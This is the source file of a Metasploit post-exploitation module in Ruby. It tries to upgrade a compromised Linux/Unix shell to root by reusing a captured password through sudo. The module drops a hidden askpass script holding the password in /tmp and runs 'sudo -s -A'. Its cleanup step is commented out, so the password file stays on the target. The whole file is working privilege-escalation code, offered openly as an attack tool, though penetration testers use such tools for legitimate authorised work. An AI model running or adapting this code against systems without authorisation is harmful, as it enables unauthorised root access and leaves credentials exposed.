metasploit-framework/modules/post/multi/manage/sudo.rb

134 lines
3.9 KiB
Ruby

# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/post/linux/system'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Multiple Linux / Unix Post Sudo Upgrade Shell',
'Description' => %q{
This module attempts to upgrade a shell account to UID 0 by reusing the
given password and passing it to sudo. This technique relies on sudo
versions from 2008 and later which support -A.
},
'License' => MSF_LICENSE,
'Author' => [ 'todb <todb[at]metasploit.com>'],
'Version' => '$Revision: $',
'Platform' => [ 'linux','unix','osx','solaris','aix' ],
'References' =>
[
# Askpass first added March 2, 2008, looks like
[ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']
],
'SessionTypes' => [ 'shell' ] # Need to test 'meterpreter'
))
end
# Run Method for when run command is issued
def run
print_status("SUDO: Attempting to upgrade to UID 0 via sudo")
sudo_bin = cmd_exec("which sudo")
if is_root?
print_status "Already root, so no need to upgrade permissions. Aborting."
return
end
if sudo_bin.empty?
print_error "No sudo binary available. Aborting."
return
end
get_root()
end
def get_root
password = session.exploit_datastore['PASSWORD']
if password.to_s.empty?
print_status "No password available, trying a passwordless sudo."
else
print_status "Sudoing with password `#{password}'."
end
askpass_sudo(password)
unless is_root?
print_error "SUDO: Didn't work out, still a mere user."
else
print_good "SUDO: Root shell secured."
report_note(
:host => session,
:type => "host.escalation",
:data => "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell"
)
end
end
# TODO: test on more platforms
def askpass_sudo(password)
if password.to_s.empty?
begin
::Timeout.timeout(30) do
cmd_exec("sudo -s")
end
rescue ::Timeout::Error
print_error "SUDO: Passwordless sudo timed out. Might be blocking."
rescue
print_error "SUDO: Passwordless sudo failed. Check the session log."
end
else
askpass_sh = "/tmp/." + Rex::Text.rand_text_alpha(7)
begin
# Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
# Generally will be much snappier over ssh.
# Need to timeout in case there's a blocking prompt after all
::Timeout.timeout(120) do
vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
cmd_exec("echo \\#\\!/bin/sh > #{askpass_sh}") # Cursed csh
cmd_exec("echo echo #{password} >> #{askpass_sh}")
vprint_status "Setting executable bit."
cmd_exec("chmod +x #{askpass_sh}")
vprint_status "Setting environment variable."
# Bruteforce the set command. At least one should work.
cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")
cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
vprint_status "Executing sudo -s -A"
cmd_exec("sudo -s -A")
end
rescue ::Timeout::Error
print_error "SUDO: Sudo with a password timed out."
rescue
print_error "SUDO: Sudo with a password failed. Check the session log."
end
# askpass_cleanup(askpass_sh)
end
end
def askpass_cleanup(askpass_sh)
begin
::Timeout.timeout(20) do
vprint_status "Deleting the SUDO_ASKPASS script."
cmd_exec("rm #{askpass_sh}")
end
rescue ::Timeout::Error
print_error "Timed out during sudo cleanup."
end
end
end